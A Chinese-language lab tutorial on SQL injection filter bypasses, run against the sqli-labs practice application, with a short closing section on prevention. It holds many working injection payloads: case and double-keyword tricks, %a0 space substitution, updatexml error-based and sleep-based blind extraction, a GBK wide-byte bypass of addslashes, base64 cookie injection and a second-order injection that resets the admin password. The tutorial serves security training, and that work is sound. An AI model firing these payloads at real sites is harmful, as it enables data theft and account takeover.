SQL 注入的基本防御手段和绕过技术
文章目录
实验环境
- Firefox
- burp suite
- sqli-labs 环境
0x01SQL的绕过技术
1.大小写绕过
如果过滤器通过关键字进行过滤并没有识别大小写,我们就可以使用大小写来进行绕过,因为 SQL 语句是不区分大小写的
原始语句
select * from users where id='1' limit 0,1
大小写摻杂注入
select * from users where id='1' And 1=1 --+'limit 0,1
问题存在的原因是:过滤器过滤了正常的关键字,但是并没有对字符串进行处理
2.注释绕过
Less-23
访问:http://192.168.37.136/sqli-labs/Less-23/
[root@localhost ~]# vim /var/www/html/sqli-labs/Less-23/index.php
我们可以看到 Less -23 中源代码过滤了单行注释的方法,我们可以正常闭合 SQL 语句来进行绕过。
通过以上程序中代码可以看到被过滤的有 # 和 – ,因此不能使用注释进行注入,绕过注释进行注入
1.1 例1 绕过注释并爆库
http://192.168.37.136/sqli-labs/Less-23/?id=-1' union select 1,database(),'3
第三个字段前添加一个单引号来闭合 id 字段后面的单引号,我们前面用到了一种类似的方法。
语句分析:
语句中的 -1' union select 1,database(),'3
,其中的 -1’ 单引号用于闭合原语句中的前面单引号,'3 是用于闭合原语句中后面的单引号
原来语句:
select * from users where id='$id' limit 0,1
注入后的语句:
select * from users where id='-1' union select 1,database(),'3' limit 0,1
由此可以拼接一条完整可执行的语句
1.2 例2 使用逻辑运算注入
http://192.168.37.136/sqli-labs/Less-23/?id=-1' union select 1,database(),3 or '1'='1
使用 and 或 or 添加一个表达式 or '1'='1
3.双写绕过
PHP过滤函数可以过滤注释符,也可以过滤关键字
Less-25
这里将 or 和 and 过滤掉了 i 过滤了大小写
例1:双写搭配大小写绕过
http://192.168.37.136/sqli-labs/Less-25/?id=1' AandNd 1=1 --+
我们将一个完整的关键字包含在另一个关键字当中,当过滤器过滤掉中间的关键字时,外部的关键字会自动闭合成一个新的关键字
语句分析:
原来的语句:
http://192.168.37.136/sqli-labs/Less-25/?id=1' AandNd 1=1 --+
被注入后的语句:
SELECT * FROM users WHERE id='1' ANd 1=1 -- ' LIMIT 0,1
4.关键字等价绕过
Less-25
由代码中可看到过滤 and 和 or
修改源代码方便我们查看我们注入的最终 SQL 语句:
[root@localhost ~]# vim /var/www/html/sqli-labs/Less-25/index.php
在第 45 行插入 echo "<br>".$sql;
例1:
http://192.168.37.136/sqli-labs/Less-25/?id=1 && id=2 --+
我们可以看到这条语句 id=1 后面并没有单引号,原因是使用&& 进行连接时不需要进行闭合,流程为 id=1 然后继续执行 id=2 最后 --+ 单行注释
例2:
http://192.168.37.136/sqli-labs/Less-25/?id=-1' || id=2 --+
这里 id=-1’ 使用SQL 语句报错并使用单引号进行闭合,然后拼接 || 执行 id=2 最终 --+ 单行注释
|| 前面 SQL 语句 执行失败才会执行后面语句,需要我们手动将前面代码进行报错,
5.绕过去除空格
Less-26
可以替代空格使用的符号:
%20 %09 %0a %0b %0c %0d %a0 /**/ #ascii 码转 url 编码
例:当前案例测试只有 %a0 可以替换成功
http://192.168.37.136/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271
编码后
http://192.168.37.136/sqli-labs/Less-26/?id=0' union select 1,database(),3 && '1'='1
说明:
%a0 //表示空格,MySQL中 %a0 代表空白符,可以替代空格
%26 //表示 &
%27 //表示 ' 单引号
6.绕过去关键字的绕过
Less-27
源码中过滤了常用注释和 union、select
[root@localhost ~]# vim /var/www/html/sqli-labs/Less-27/index.php
查看源码发现,这里过滤并不完善,可以利用前面学的多种方式绕过
例1:大小写绕过
http://192.168.37.136/sqli-labs/Less-27/?id=1' and%a0updatexml(1,concat(0x7e,(sElEct%a0user()),0x7e),1) and '1'='1
例2:双写绕过
http://192.168.37.136/sqli-labs/Less-27/?id=1' and%a0updatexml(1,concat(0x7e,(seselectlect%a0user()),0x7e),1) and '1'='1
例3:注释绕过
http://192.168.37.136/sqli-labs/Less-27/?id=1' and%a0updatexml(1,concat(0x7e,(se/**/lect%a0user()),0x7e),1) and '1'='1
例4:盲注绕过
http://192.168.37.136/sqli-labs/Less-27/?id=1%27%a0and%a0if((length(database())=8), sleep(3),1)%a0and%a0%271
条件判断成立 执行 sleep 3秒
7.MySQL 宽字节绕过
利用场景:addslashes() 转义的sql注入
Less-33
http://192.168.37.136/sqli-labs/Less-33/?id=1\
我们可以看到经过addslashes() 函数过滤后我们输入的字符被转义,我们只输入的是一个\,结果反馈出来的是 \,由此证明,我们输入的\被转义了。
http://192.168.37.136/sqli-labs/Less-33/?id=-1%df' union select 1,database(),user()--+
我们可以看到经过addslashes() 函数过滤后我们输入的字符会被转义,我们只输入的是一个\,结果反馈出来的是 \,由此证明,我们输入的\被转义了
http://192.168.37.136/sqli-labs/Less-33/?id=-1 %df%5c%27 union select 1,database(),user() --+
这是因为 id 的参数传入代码层,就会在 ’ 前面加一个 ,由于采用了 URL 编码,所以产生的效果是:%df%5c%27,关键就在这里,在GBK编码中,两个字符表示一个汉字,所以 %df把%5c 吃掉形成了一个汉字,后面就剩一个单引号,所以此时的单引号并没有被转义了,可以发挥效果。
分析:
都知道 ’ 或 \ 被PHP 转义(用addslashes函数,或者icov等),单引号被加上反斜杠 \,变成了 \‘ 其中 \ 的十六进制是 %5c
那么注入时候可以加上%df,然后结果为 %df’ 换为URL编码则是 %df%5c%27 ,如果程序的默认字符集是GBK 等宽字节字符集,则MySQL 用GBK 的编码时,会认为 %df%5c 是一个宽字符,也就是 運 也就是说:%df\'=%df%5c%27=運'
,接下来单引号就可以起闭合租用了
運:读作[yun]
注入后的语句则为:
select * from users where id='-1 運' union select 1,database(),user();
MySQL 中执行一下:
MariaDB [security]> select * from users where id='-1 ?' union select 1,database(),user();
宽字符注入的必要条件,第一个字符的ASCII码 必须大于 128 ,
8.base 64 编码绕过
例:单引号的ASCII 码为 0x27 替换为URL %27
BurpSuite 集成了一些我们常用的编码方式
Less-22
访问http://192.168.37.136/sqli-labs/Less-22/
源码:
$cookie=base64_decode($cookie)
PHP代码使用base64_decode();函数来进行解码
回到代理截断请求,可以看到cookie
Cookie: uname=YWRtaW4%3D
我们可以看到 Cookie 是经过 base64 加密的我们使用 burpsuite 进行base64 加密注入
复制编码后的字符,把截获的请求发送到 Repeater
通过以上实验可以看到闭合方式是 双引号 "
点击 Decode 进行报错注入将我们设计好的 SQL 语句进行 base64 加密
原句:admin"and updatexml(1,concat(0x7e,database(),0x7e),1) or "1"="1
加密后:YWRtaW4iYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSksMSkgb3IgIjEiPSIx
uname=YWRtaW4iYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSksMSkgb3IgIjEiPSIx
成功爆出数据库名称
0x02 二次注入修改其他用户密码
Less-24
新建用户 admin'-- +
用户名是我们设计的 payload
登录新用户
重置密码
修改成功
查看数据库密码修改情况
[root@localhost ~]# mysql -uroot -p123456
MariaDB [security]> select * from users;
发现admin’-- + 密码没有被修改,但是admin 密码被修改成功了
分析源代码还原SQL语句
[root@localhost sqli-labs]# vim /var/www/html/sqli-labs/Less-24/pass_change.php
第38行代码
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
我们将用户信息带入查看
UPDATE users SET PASSWORD='fengzilin' where username='admin'-- +' and password='123456';
最终执行
UPDATE users SET PASSWORD='fengzilin' where username='admin';
0x03 如何防止SQL注入
因为程序要接受用户输入的变量或URL传递的参数,并且参数或变量会被组成SQL语句的一部分被执行,这些数据我们统称为外部数据,在安全领域有一条规则;外部数据不可信任,所以我们需要通过各种方式对数据进行检测和过滤。
- 检查变量数据类型和格式
- 过滤特殊符号
- 绑定变量,使用预编译语句,#MySQL的 mysqli 驱动提供了预编译语句的支持
总结
本章节利用了,程序员在写代码时,没有过滤特殊代码的漏洞,在写代码的同时要注意代码的安全性,防止SQL注入,要对用户输入的任何东西做限制,